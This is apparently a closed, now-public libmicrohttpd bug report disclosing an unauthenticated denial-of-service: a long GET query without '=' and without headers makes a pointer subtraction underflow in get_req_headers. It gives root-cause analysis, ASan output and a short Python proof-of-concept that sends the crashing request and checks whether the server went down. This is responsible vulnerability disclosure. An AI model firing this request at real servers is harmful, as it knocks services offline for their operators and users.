View Issue Details

IDProjectCategoryView StatusLast Update
0011679libmicrohttpdotherpublic2026-07-28 23:42
Reporteraramosf Assigned ToChristian Grothoff  
PriorityhighSeveritycrashReproducibilityalways
Status closedResolutionfixed 
Product VersionGit master 
Target VersionGit masterFixed in Version1.0.7 
Summary0011679: connection.c: read-buffer shift-back underflow — unauthenticated DoS (default config)
DescriptionSeverity: High — unauthenticated remote denial of service, kills the daemon
Class: CWE-787 (Out-of-bounds Write) via pointer-subtraction underflow
Status: reproduced on gcc and clang at
          -O2 -DNDEBUG -D_FORTIFY_SOURCE=2 -fstack-protector-strong -fPIE -pie;

SUMMARY
-------
A single unauthenticated GET request kills the daemon. It requires no
application cooperation and no non-default options. The polling thread that
dies serves every connection, so the whole process goes down.

REPRODUCER
----------
One request against a plain default MHD_start_daemon():

    GET /?AAAA…A HTTP/1.1\r\n\r\n

with roughly 20000 'A's, NO '=' anywhere in the query string, and NO header
lines (both conditions matter — see below).

Observed: SIGSEGV in the MHD worker thread. Under AddressSanitizer:

    SEGV on unknown address 0x000000000001 (WRITE)
        #2 get_req_headers connection.c:6669

On Windows x86-64 (MinGW-w64): "page fault on write access to
0x0000000000000001 in 64-bit code", with rax = 0x1.

ROOT CAUSE
----------
connection.c:6649-6674, in get_req_headers(), the read-buffer "shift back":

    if (NULL != c->rq.headers_received_tail)
      last_elmnt_end = c->rq.headers_received_tail->value
                       + c->rq.headers_received_tail->value_size;
    else
      last_elmnt_end = c->rq.version + HTTP_VER_LEN;
    mhd_assert ((last_elmnt_end + 1) < c->read_buffer); /* compiled out */
    shift_back_size = (size_t) (c->read_buffer - (last_elmnt_end + 1));
    if (0 != c->read_buffer_offset)
      memmove (c->read_buffer - shift_back_size,
               c->read_buffer, c->read_buffer_offset);
    c->read_buffer -= shift_back_size;
    c->read_buffer_size += shift_back_size;

GET query arguments are stored in the SAME rq.headers_received list as HTTP
headers, and MHD_parse_arguments_() (internal.c:198-202) stores a trailing
argument that has no '=' with value == NULL and value_size == 0:

    /* last argument, without '=' */
    if (MHD_NO == cb (cls, args, key_len, NULL, 0, kind))

So last_elmnt_end == NULL, and:

  * shift_back_size = read_buffer - 1 (a ~47-bit value)
  * the memmove destination becomes (char *) 1
  * afterwards read_buffer == (char *) 1 and read_buffer_size ≈ 2^47
The debug assertion (last_elmnt_end + 1) < c->read_buffer PASSES for NULL, so
--enable-asserts builds do not catch it either.

Two attacker requirements are baked into the reproducer:
  * no '=' in the query -> the trailing argument is stored with value = NULL
  * no header lines -> the NULL-valued GET argument is still
                            headers_received_tail when get_req_headers() runs
  * long request line -> the shift-back is gated on
                            MHD_BUF_INC_SIZE > c->read_buffer_size

WHY IT CANNOT BE TURNED INTO A CONTROLLED WRITE (for severity triage)
--------------------------------------------------------------------
The destination algebra cancels the underflow exactly:

    dest = read_buffer - shift_back_size
         = last_elmnt_end + 1
         = tail->value + tail->value_size + 1

Every entry that can be headers_received_tail at that instant points BELOW
read_buffer, except the NULL case, which yields the constant (char *) 1. There
is no attacker-chosen component, so this is a deterministic DoS, not a
control-flow primitive.

Version note: tested against 1.0.6 only. I have not bisected which release
introduced it.
Steps To Reproduce#!/usr/bin/env python3
"""libmicrohttpd 1.0.6 - #1 read-buffer shift-back underflow.
Default MHD_start_daemon(), one unauthenticated request, daemon dies.
usage: poc1_shiftback.py <host> <port>"""
import socket, sys
h, p = sys.argv[1], int(sys.argv[2])
s = socket.create_connection((h, p), 5); s.settimeout(5)
s.sendall(b"GET /?" + b"A" * 20000 + b" HTTP/1.1\r\n\r\n")
try: print("reply:", s.recv(200) or b"(connection closed, no reply)")
except Exception as e: print("reply:", e)
s.close()
try:
    socket.create_connection((h, p), 3).close(); print("server: STILL UP")
except Exception: print("server: DOWN")
TagsNo tags attached.

Activities

There are no notes attached to this issue.

Issue History

Date Modified Username Field Change
2026-07-27 10:50 aramosf New Issue
2026-07-27 18:21 Christian Grothoff Assigned To => Christian Grothoff
2026-07-27 18:21 Christian Grothoff Status new => resolved
2026-07-27 18:21 Christian Grothoff Resolution open => fixed
2026-07-27 18:21 Christian Grothoff Fixed in Version => 1.0.7
2026-07-28 23:42 Christian Grothoff Product Version => Git master
2026-07-28 23:42 Christian Grothoff Target Version => Git master
2026-07-28 23:42 Christian Grothoff View Status private => public
2026-07-28 23:42 Christian Grothoff Status resolved => closed